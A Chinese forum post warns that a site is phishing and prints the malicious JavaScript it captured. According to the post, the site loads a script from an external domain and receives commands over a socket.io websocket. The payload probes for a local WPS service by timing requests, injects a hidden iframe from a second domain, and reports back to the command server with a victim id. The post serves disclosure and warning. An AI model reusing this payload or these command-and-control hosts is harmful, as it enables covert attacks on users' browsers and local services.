主帖latin
🕐 2025-7-17 15:44:01本帖最后由 Typeboom 于 2025-7-17 16:12 编辑
这站是钓鱼的
里面会加载这个JS
https://apis.fjersihjktsvhiiuirahts.online/RXGNHYJP.js
创建socket.io链接，通过websocket下发恶意js
• 42["execute",{"func":"var attack = function(params){\n params.time = new Date();\n let _result_ = (function(){ var result = [];\n\nfunction makeRequest() {\n var m = Date.now();\n var script = document.createElement('script');\n script.src = 'https://localhost.wbridge.wps.cn:4709/';\n script.onload = function() {\n var currentTime = Date.now();\n var elapsedTime = currentTime - m;\n result.push(elapsedTime);\n if (result.length === 5) {\n calculateAverage();\n } else {\n makeRequest();\n }\n };\n script.onerror = function() {\n var currentTime = Date.now();\n var elapsedTime = currentTime - m;\n result.push(elapsedTime);\n if (result.length === 5) {\n calculateAverage();\n } else {\n makeRequest();\n }\n };\n document.body.appendChild(script);\n}\n\nfunction calculateAverage() {\n var sum = result.reduce(function(a, b) {\n return a + b;\n }, 0);\n var w_key = sum / result.length;\n if (w_key < 300) {\n var iframe = document.createElement("iframe");\n iframe.src = "https://www.onlineksyun.com/ifs.html";\n iframe.frameborder = "no";\n iframe.style.zIndex = -1000;\n iframe.style.position = "absolute";\n iframe.style.opacity = 0;\n iframe.style.top = "0px";\n iframe.style.left = "0px";\n iframe.width = "300px";\n iframe.height = "2000px";\n iframe.onload = function() {\n console.log("iframe loaded");\n };\n document.body.appendChild(iframe);\n }\n}\n\nmakeRequest(); })()\n try{\n socket.emit("result", {\n success: true,\n message: "Successfully executed custom command at " + new Date() + (_result_ ? "\\nReturned Value: " + _result_ : ''),\n params\n });\n }catch(e){\n socket.emit("result", {\n success: false,\n message: e.toString(),\n params\n });\n }\n }","params":{"victim":5802,"_attack_instance_id":"5L_tTV5sJYmdyLVdAEXf_1752739731190"}}]
•
• 42["result",{"success":true,"message":"Successfully executed custom command at Thu Jul 17 2025 08:08:51 GMT+0000 (Coordinated Universal Time)","params":{"victim":5802,"_attack_instance_id":"5L_tTV5sJYmdyLVdAEXf_1752739731190","time":"2025-07-17T08:08:51.636Z"}}]